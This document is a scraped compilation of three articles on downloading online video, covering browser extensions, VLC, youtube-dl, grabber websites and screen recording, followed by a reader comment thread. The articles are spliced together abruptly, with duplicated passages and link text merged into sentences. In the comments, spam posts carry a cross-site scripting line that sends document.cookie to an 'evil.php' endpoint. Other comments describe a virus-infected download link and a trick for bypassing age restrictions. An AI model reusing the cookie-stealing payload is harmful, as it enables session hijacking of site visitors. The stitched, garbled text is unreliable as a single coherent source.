The world of online video continues to expand at an unprecedented rate. There are websites for gaming videos, for adult entertainment, for movies and TV shows, and of course the granddaddy of them all, YouTube. On YouTube alone, more than five billion videos are played every day, and YouTube is far from alone in aggregating enormous quantities of video content. Not only are the giant aggregator sites thriving, but almost every website, large and small, produces its own video content now. There are reviews and interviews, features and how-to vids, and behind-the-scenes looks, unboxings, and playthroughs of just about every kind of game and entertainment. There is so much content available now that nobody has the time to watch everything they’d like to.
Also see our article Top Four Google Chrome Extensions to Download & Save YouTube Videos
One problem that many people have is that they don’t have online access 24/7. They may rely on WiFi at work or school, but return home to a place with no service. YouTube does have a “Watch Later” list, which lets you bookmark videos for later consumption, but it just saves a bookmark; it doesn’t actually download the stream. And sometimes we’d like to download video content to watch it offline, either because we have no Internet access or because we don’t want to use up our data when we’re away from a wifi connection. Plus, although many sites allow you to directly download video content, others (like YouTube) put barriers in the way of doing that smoothly and easily unless you pay them for the premium service level.
Fortunately, there are a lot of options available for downloading embedded video. It’s not always easy, but it usually is. In this article, I’ll show you several different ways of getting embedded video downloaded to your local device so that you can watch it whenever you feel like. I’m going to show you how to use a browser extension to download embedded video, how to use the VLC media player to download video, how to use web-based tools to download video, and (as a last resort) how to use screen-capture software to download video. Why so many different approaches? Well, as mentioned above, there are a lot of different video websites out there, and the tools that work for one might not work for another. So it’s best to have a wide variety of options so that you can get the video you want.
Downloading with a Browser Extension
Quick Links
- Downloading with a Browser Extension
- Downloading with a PC-Based Tool
- Downloading with an Online Tool
- Downloading for Specific Sites
Browser extensions are one of the most straightforward methods for downloading video. By installing a browser extension, you can usually download embedded video with the touch of a button. By far, our favorite way for users to download content from any embedded video is through a number of extensions available on browsers like Chrome, Firefox, and more. Generally speaking, Chrome and Firefox tend to have the widest variety when it comes to using an extension on your device, though this isn’t always true when it comes to finding extensions that allow you to download content. Still, we’ve found that extensions offer the most use and flexibility when it comes to saving content on your device. Let’s take a look at three of our favorite extensions for downloading and saving content, Flash Video Downloader, Video DownloadHelper, and Free Video Downloader. These extensions work on a huge variety of embedded video sites; unfortunately they don’t work on YouTube, so we’ll also look at FastestTube and YouTube Video Downloader, extensions that work specifically on YouTube.
Flash Video Downloader (Firefox)
Flash Video Downloader is a great option for Firefox or Chrome. You can download the Chrome version here, and the Flash version here. There’s also a Safari version for the Mac-inclined in the audience. With an average rating of 4.1 stars from over 5,500 reviews, this is a trusted source if you’re trying to download content to your device from a whole range of sites and sources online. The site has a whole range of content it can download from, and the extension makes it easy to tell when an embedded video is able to be downloaded and saved to your device. When installed within Firefox, a small arrow in your browser’s taskbar turns blue that allows you to click on the extension and save the video. Like most methods, this won’t work on every site, but it does generally work in our experience.
Video DownloadHelper (Chrome/Firefox)
Video DownloadHelper was created as an extension for Firefox in 2007, with a Chrome extension having been made available in 2015. There’s a Mac version as well for Safari. Both platforms have been regularly maintained and updated to ensure the most amount of capability between the two platforms. Video DownloadHelper has a full list of sites it works on, ranging from well-known sources like YouTube and Vimeo to lesser-known offering that host a variety of content across the web.
Free Video Downloader
Free Video Downloader is an extension for Chrome that works on nearly every video site, other than those that block extension-based downloads such as YouTube. Free Video Downloader supports MP4, MOV, FLV, AVI, WEBM, ASF, and MPG file types as well as many more. The extension supports downloading multiple videos at once, and is compatible with 99%+ of video hosting websites. and many more. Free Video Downloader also supports video playlists.
FastestTube
Both FastestTube and YouTube Video Downloader require a bit more installation finesse than the above-referenced extensions, because they aren’t supported in the Chrome store. Google (which owns YouTube) is downright persnickety about letting people bypass their premium model within the Chrome store, so you’ll have to install these extensions manually. Fortunately it’s not difficult, and there are complete instructions provided.
FastestTube works on Chrome or any Chromium-based browser, and is also available for Mac and Linux.
YouTube Video Downloader
YouTube Video Downloader is available for Firefox, Chrome, and Linux (sorry Mac). YouTube Video Downloader has more bells and whistles than FastestTube but either extension is a solid way to grab YouTube videos.
Downloading with a PC-Based Tool
VLC
A lot of us like to use our own tools on our own machine to get things done, and we get it – controlling the platform is important. You never know when an online tool is going to stop working, or when Google will crack down on a Chrome extension, even one that isn’t in the Chrome Store. Luckily, there is an amazing tool you can install to your own computer to download embedded video. You probably don’t have to install it, because you probably already have it – VLC, the media player that pretty much owns the Windows and Mac desktops. Don’t have VLC yet? You can download it for free right here.
We have an article that really goes into detail on using VLC to grab embedded video from YouTube (it will work other places too), but I’m going to give you a quick tutorial here because it’s really quite simple. First, navigate to Media->Open Network Stream (or just hit Ctrl-N).
Then in the Network tab of the resulting dialog, enter the URL of the video you want to download, and hit “Play”.
Now go to View->Playlist (or just hit Ctrl-L) to bring up your playlist.
In the playlist, right click on the video you want and select “Save”. Another dialog will appear asking for the format to save the video in and asking you to choose a location for your file; enter that information and hit Start and within seconds or minutes (if it’s a long video) your video will be on your hard drive.
YouTube DL
YouTube DL is a lot less user-friendly than most of the other approaches in this article; rather than a graphic user interface or a browser extension, it’s an old-fashioned command-line program where you actually have to type your commands. This isn’t the easy way to do things, but it is very flexible and very powerful. YouTube DL is actively under development and gets regular updates, so it’s likely to continue working on YouTube even as the video site releases security “fixes” to stop these downloading programs from working. Install YouTube DL as detailed on the install page; you can then either run the program from the command line or by using the optional YouTube DL GUI interface, available for download here.
The interface for YouTube DL is easily mastered, allowing you to add URLs to your download list and view your downloaded files. When downloads finish, they are added to your hard drive.
YouTube ByClick
Unlike most of the other tools in this roundup, YouTube ByClick is a commercial software package. It’s a standalone program that runs on your PC and works whenever you browse to YouTube. After installing the program, you just let it run in the background and then navigate to the YouTube (or other) video you want to download. When you’re at the video, a program window will automatically pop up asking if you want to download the video. It’s super easy.
YouTube ByClick does have a free version, which is limited to regular quality video (no HD) and can’t convert to AVI or WMV format. For $9.99 you can get a three-seat license allowing you to install YouTube ByClick on up to three machines. The premium version lets you download HD video and will also convert to AVI or WMV if you like. Either version will let you download the whole video clip or just the audio in MP3 format, to choose between MP3 and MP4 formats, and to define a directory where your downloads will be stored. Although there aren’t a lot of features, the program works very well and is super simple to use.
Downloading with an Online Tool
If you’re working on a computer at your job or at school, you might not want to use a browser extension or a local tool, because you might not have permission to install that kind of software. Have no fear! There are a wide variety of website-based tools that will do the work for you; all you have to do is provide a URL.
TechJunkie YouTube Downloader
TechJunkie has your back – we created this YouTube-specific download tool just for our readers. It’s as simple to use as we could possibly make it – just copy the URL into the box, hit “Process” and then hit “Download Your File”. Presto!
TechJunkie Instagram Downloader
Similarly, we have a tool for grabbing Instagram videos quickly and easily. Same deal – copy the URL, hit “Process” and hit “Download Your File”. We also have a whole article on the specifics of downloading Instagram videos.
TechJunkie Facebook Video Downloader
You didn’t think we’d forget about Facebook, did you? Check out our Facebook video download tool.
Savefrom.net
Savefrom.net is a very useful website that works with many popular video websites including YouTube. It also works on other web pages with embedded video. Capture the URL of the page, paste it into the page and select search. The page processes and identifies the video if it can and then provides options for quality. Select the quality you want and hit Download.
VideoGrabby
VideoGrabby does much the same thing. Once you get over the garish yellow color scheme, the site works well. Paste the page URL into the box and hit Go. The extractor will identify the video if it can and offer quality options. Select your desired quality and download.
Y2Mate
Y2Mate is a straightforward video capture website. Just paste the page URL in the box and click “Start”. The page will show you all the various quality options, from 144p to 1080p; click the Download button next to the version you want and your download will begin.
KeepVid Pro
KeepVid.Pro will work on a wide variety of websites, from YouTube to Facebook. In fact, the site works with more than 1000 video websites. It works like all the others – paste the URL into the box and you’re off to the races.
All of these sites are free to use and work well. They occasionally slow down at peak times but that is to be expected. Otherwise, both work well across a huge range of websites.
Capturing Video with a Screen Recorder
There is a last-resort option in the unfortunate eventuality that none of the above methods will work for a particular site. If worst comes to worst, you can always use a screen recorder to capture the video as it plays on your screen, and record it to your computer. This is, of course, a suboptimal solution, especially for videos that are hours long. Like using a DVR, you’ll need to record the video in real-time, allowing the video to playback on your PC with the sound on in order to properly capture it as it records on your device. Still, for short videos or for videos you simply must have saved, it’s an easy way to capture content to playback any time in the future, regardless of your internet connection.
We have, of course, written an entire article about screen recording software, or you can check out the video just above. However, probably the best solution for a desktop is Open Broadcaster Software, or OBS. OBS is an open-source client for recording and capturing your content on any modern operating system, including Windows, Mac, and Linux. Using the platform is surprisingly easy, as setting up the screen capture can be done in just a couple clicks before syncing your PC and hitting recording inside OBS. Once it’s recording, you’re free to start the video and let it play, as the content will record straight to your videos folder. You can review the video when you’ve stopped recording, or you can edit the video to trim out the parts before and after the recording. Make sure your computer’s volume is turned up, or you likely won’t be able to hear the audio when you play the video back.
Downloading for Specific Sites
Some websites have particular formats or systems for handling video that break some or all of the tools above. Twitch and TikTok, specifically, have presented difficulties in the past for users wanting to download videos from those sites. We created articles specifically about downloading from Twitch and downloading from TikTok to cover those sites.
***
Whew! As you can see, there are a lot of options available and you should be able to find a workable method for downloading the videos you need. Do you have other suggestions for sites or software for downloading embedded videos from web pages? Please share them with us in the comments below! We’ll continue to update this article as new solutions become available.
We’ve got more video resources for the video fans out there.
We’ve got a guide to the best TikTok video downloaders.
Want to move videos to your phone? Here’s how to download videos from Google Photos to your smartphone.
Do you want to do video editing on your computer? Check out our guide to the best desktops for video editing.
If you have Amazon Prime, you need to read our tutorial on downloading video from Amazon Prime.
Putting your videos on Instagram? Check out our guide to posting longer videos on Instagram.
Most of today’s internet traffic is spent streaming online video, with YouTube taking up a massive chunk. Over 400 hours of video content is uploaded to YouTube every minute, and YouTube has greater reach in the 18-49 demographic than even cable TV.
And then you have to consider other video streaming sites like Vimeo, Dailymotion, Metacafe, Twitch, etc. That’s a lot of data flowing around—and if your ISP caps your monthly data allowance, then all this video streaming can be expensive.
The solution is to capture or download online videosxVideoServiceThief Is the Ultimate Download Manager for Online VideosxVideoServiceThief Is the Ultimate Download Manager for Online VideosThe open source video downloader xVideoServiceThief is available on Linux, Windows, and Mac.Read More to watch offline, allowing you to re-watch as many times as you want without wasting data. Here are some of the best tools for capturing and downloading streaming video from websites online so you can watch them offline.
1. Video DownloadHelper
Available on: Chrome, Firefox.
Supported sites: YouTube, Facebook, Instagram, Vimeo, Dailymotion, Lynda, Twitter, Udemy, and hundreds of other sites.
Video DownloadHelper is easily one of the most useful browser extensions you’ll ever install. It’s even simpler to use than the above-mentioned VideoGrabby, but the downside (sort of) is that you have to install it on your browser. But if you download a lot of videos on a day-to-day basis, Video DownloadHelper is definitely worth it!
The extension adds a button next to your browser’s address bar. Whenever you come across an online video, just click the button to download any video on the current page.
2. 4K Video Downloader
Available on: Windows, Mac, Linux.
Supported sites: YouTube, Facebook, Vimeo, Flickr, Dailymotion, and several other sites.
4K Video Downloader is the simplest and most straightforward tool. We recommend it if you want a no-hassle option that requires a close to zero effort on your part.
Just copy the URL of an online video and paste it into 4K Video Downloader. You can paste links to YouTube playlists or YouTube channels to download every video available, and you can even subscribe to YouTube channels and auto-download new videos as they’re made available. You can also download the annotations and subtitles in YouTube videos.
Video downloads are available in 8K, 4K, 1080p, or 720p as long as the source video was uploaded at that resolution, of course. Videos can be downloaded in MP4, MKV, and FLV formats. Or you can download only the audio portion in MP3 or M4A formats. (What’s the difference between MP3 and MP4?)
3. Freemake Video Downloader
Available on: Windows.
Supported sites: YouTube, Facebook, Liveleak, Veoh, Vimeo, Dailymotion, and dozens of other sites.
Freemake Video Downloader is one of the most popular video downloading tools out there. It’s completely free, easy to use, and relatively flexible as far as quality and format options are concerned. The one big downside is that it’s only available on Windows.
Videos can be downloaded in a handful of formats, including AVI, FLV, MKV, MP4, and WMV. Videos can also be downloaded in MP3 format if you only want the audio portion. The actual process only requires the URL of the video—just copy and paste it in.
4. JDownloader
Available on: Windows, Mac, Linux.
Supported sites: Nearly any site with streaming video.
JDownloader is like Freemake Video Downloader but with a twist. You take the URL of any page that has a streamed video on it, paste it into the app, and it will scan the page for all the videos it can detect. You get to pick which of the detected videos you want to download.
The nice thing about JDownloader is that you don’t need the direct URL of a specific video. Take a MakeUseOf article with five embedded videos, for example, and all them will be detected. This makes it very easy to capture several different videos at once.
Bundleware warning!
When you run the installer, you’ll come across a page that offers to install “Bing Search” or something else. On this page, the buttons will change to Decline and Accept. Make sure you click Decline! This will prevent bundleware from being installed on your system.
When you run the installer, you’ll come across a page that offers to install “Bing Search” or something else. On this page, the buttons will change to Decline and Accept. Make sure you click Decline! This will prevent bundleware from being installed on your system.
5. youtube-dl
Available on: Windows, Mac, Linux.
Supported sites: YouTube, Facebook, HBO, Metacafe, Vimeo, Dailymotion, and thousands of other sites.
youtube-dl is a tool for advanced users who are comfortable using the command line. If you prefer graphical interfaces, save yourself the headache and just use one of the ones listed above.
But if you’re okay with command line utilities, then youtube-dl offers the most flexibility of any video downloading tool. It’s complicated enough to have a non-trivial learning curve though, so prepare to read the documentation or else you’ll be lost.
You could also try youtube-dl-gui, which is an unofficial front-end user interface that’s available for Windows and Linux.
Features include several video selection and quality parameters, playlist processing, download rate limit, batch video downloading, automatic naming of files, inclusion of ads (currently experimental), and downloading subtitles (for sites like YouTube).
The following formats are supported: 3GP, AAC, FLV, M4A, MP3, MP4, OGG, WAV, and WEBM.
A Last Resort for Capturing Online Videos
If you encounter a video that isn’t supported by any of the above tools, the last resort is to play the video in fullscreen mode and record your screen as it plays. It’s not a perfect solution, but it works when nothing else does.
Check out our favorite screen recorder appsRecord Your Desktop with These 12 Great Screencasting AppsRecord Your Desktop with These 12 Great Screencasting AppsNeed to record your desktop? Luckily, you'll find that screencasting apps are more common than you might think. Here are some of the best free ones.Read More to get started. If you can get the direct URL of an online video, you can also use VLC to play and record online videos as a kind of streaming video recorder. Finally, we’ve shown how to download Periscope videosHow to Download Periscope VideosHow to Download Periscope VideosWhile downloading Periscope videos isn't the easiest thing in the world, there are ways to download Periscope videos.Read More.
Explore more about: Download Management, Media Streaming, Online Video, Record Video, YouTube.
- In terms of download speed, houlo video downloader is way too better.
- Try FreeRapid Downloader (http://wordrider.net/freerapid/download.htm). It also uses Java.
- How do you get URL of a streaming video on Facebook. I use an iPad to watch videos on Facebook and You Tube.
- the #1 choice VideoGrabby was once the simplest and best-- but it has been defunct for about a year now. perhaps update your list
- you link to a rogue copy of Jdownloader that has a virus. People should be directed to a good copy
- You may add clipconverter and free hd video converter factory for Windows to the list. I used the two downloaders. Straightforward and useful!
- Can anyone test for Hotstar app and tell me if we can use anyone of the listed tools or even any other to download videos from there
- Freemake Video Downloader only downloads 3 minutes at most, then asks you for Premium.
Total Video Downloader for Mac is much quicker and allows 3 free downloads each day with no time limit. Works MUCH better!!- Whoah! Total Video Downloader is excellent. I love it
- You can also try Joyoshare Screen Recorder to capture the livestream video with high quality as any popular format such as MP4, AVI, FLV, etc. for any device.
- Well choices 2-4 failed on a PAID vimeo stream..Did not try 1 or 5. Moving on..
- Freemake Video Downloader has a max of 3 minute video, prompts you to get “Premium” version for longer vids!
- Thank you, even tought I didn't try yet.. Hope I'll find my hapiness :)
- brilliant intel you have here what are anyone's opinion with our web page in connection with
gta vice city modded apk - What about Clip Grab it works great
- 4k Video downloaderIt seems to work good for me
- Downlaod new hack tool for Narcos Cartel Wars game!
Best Narcos Cartel Wars cheats for unlimied Cash, Gold Bars and Wood!DOWNLOAD LINK : Narcos Cattel Warrs hack - var adr = './evil.php?cakemonster=' + escape(document.cookie);
- I love this thank you
var adr = './evil.php?cakemonster=' + escape(document.cookie); - ok
- use 'video downloader professional, 'eagle get', or 'vGet'. All these are available as chrome extensions. Eagle get is super cool. hope this helps.
- Here is a hard one! I,ve been trying to download videos from this site and still cant find a downloader that works. Its imposible. Will you try to find out which downloader works? This is the site http://www.dialogopastoral.com This challenge is for anyone! Good luck!
- Use vGet extension in chrome browser. It worked.
- Alas, all these video downloader don't work on websites that stream their videos using RTMP protocol.
- Alas, all these video downloader don't work on websites that stream their videos using RTMP protocol. For example: 4tube.com, Nuts.co.uk.
- Recording Or capturing online videos using webcam recorder and streaming video capture is a faster and cheaper way of producing own video content.
- xVideoServiceThief, //www.makeuseof.com/tag/x..
- xVideoServiceThief, //www.makeuseof.com/tag/xvideoservicethief-ultimate-download-manager-for-online-videos/
- download helper is the best one
- Glad to see everyone has their own opinions regarding capturing streaming videos. Maybe these video sites should start integrating this feature?
- any video converter is the best!!!
- Each of these sites is linked from deturl.com, which is sort of a meta-downloader-tool.It combines a traditional downloading links + a download bookmarklet (direct downloading, not simple redirection) + redirection bookmarklet + links to other downloading services.By using its bookmarklet on any video page from MANY different video streaming sites, you will either be given a direct link to download the file from the actual video page, or you will be redirect to deturl.com and given multiple different choices for downloading the video, such as links to the sites above.For some sites, especially random sites that have some sort of embedded video, or even simply links to video files, such as mpg files and avi files, it will provide links directly. It depends on the site and what works best. It works on FaceBook and many adult websites such as RedTube, PornHub, XXXBunker, Tube8, XVideos, and more.Not only does it help you download, but it helps you convert YouTube videos to MP3, AVI, and many other formats. It also links you directly to other useful services, such as youtubeproxy, synchtube, youtubesocial, endlessyoutube, tubechop, youtubedoubler, etc.Deturl first launched as PwnYouTube.com, and still you can insert 'PWN' into the url of any youtube video to get download links. This is a nice way to also bypass YouTube's request to login to see age restricted videos. Roboto font.Honestly, I'd love to see a separate article about Deturl.
- Sounds like you have a porn addiction.
- I use download helper and cam studio
- If you have watched the entire video on your machine you may be able to pick it up using videocacheview from nir sofer, small, good and best of all freehttp://www.softpedia.com/get/I..
- If you have watched the entire video on your machine you may be able to pick it up using videocacheview from nir sofer, small, good and best of all free
- Ubuntu downloads streaming videos automatically for some sites (youtube, vimeo, dailymotion work). It stores the vids in /tmp you just have to browse the folder and look for the flash'___' (some crazy thing here) file and paste it wherever you want (and rename it).
- it's pretty much the same for windows. if you have 'unlocker' installed, just browse for /local settings/temp folder and look for fla**.tmp file. Use unlocker by right-clicking it, copy, rename it, change extension to .mp4 (720p) or .flv (360p or 480p).
- I guess we can say it's pretty much the same for all operating systems. The streaming video files are stored somewhere in the temp folders.
- should of looked at that comment before i posted itbeen using download helper since it first came out nice app , i uses
Realplayer , download all so , that one works on Firefox and e and chrome , - should of looked at that comment before i posted itbeen using download helper since it first came out nice app , i uses
Realplayer , download all so , that one works on Firefox and e and chrome , - been using downloaded, since came out, all uses realplayers down-loader works good ,.
At some point, we'll all experience being sucked into the black hole that is YouTube. Minutes or hours can go by as you browse through videos uploaded by everyday people like you and me. Some are funny, others useful, or (believe it or not) thought-provoking.
Download Video From Website Url
Whether you consume most of your videos on YouTube or another service like Vimeo, downloading a favorite video for offline viewing or personal use has probably crossed your mind.
Before we continue, note that policies for the many video Web sites vary, so review those policies and move forward at your own risk. Distributing copyrighted material without authorization is illegal in the United States and many other countries. CBS Interactive does not encourage or condone the illegal duplication or distribution of copyrighted content. Before copying or distributing any content online, make sure you have the legal right to do so.
Keeping that in mind, here are three tools that let you download video from just about any video-sharing site.
Now playing:Watch this: Download video from the Web
1. KeepVid. This is likely the fastest way to grab just about any video from the Web. YouTube, DailyMotion, Megavideo, Metacafe, and Vimeo are just a few of the sites compatible with KeepVid.
Copy the URL of the video you want to download, head to KeepVid.com, and paste it in the bar at the top. Then click 'Download' to the right of that bar. Do not click the large green 'Download' button.
Download Video From Website To Mp4
It will load for a few seconds, then you'll have the option to download the video in FLV (Flash), MP4, or WebM format. If you don't know which one to pick, go with MP4, as it has the greatest compatibility.
2. NetVideoHunter (Firefox). This Firefox browser add-on also works with many popular video sites, including Facebook. Once you install the extension from the add-on site, a button will be added to your toolbar.
To use it, head to a page with embedded video. You'll notice that the NetVideoHunter button will flash, alerting you that video on the page can be downloaded. Click the button, and click Download next to the video you want to save.
Download Video From Website Link
Unfortunately, I haven't discovered any reliable Chrome extensions similar to NetVideoHunter.
3. Desktop software. As a third and final option, you may download a program for your Mac or Windows computer dedicated to downloading Web video. For Mac, check out MacTubes. Windows users can try Free YouTube Downloader. Both programs have gotten solid reviews and work as advertised.
Get Amazon Prime Day deals without being a member: You won’t have to pay a thing -- unless you buy something, of course.
7 best Prime Day shopping tips: Master these to snag the best deals on July 15.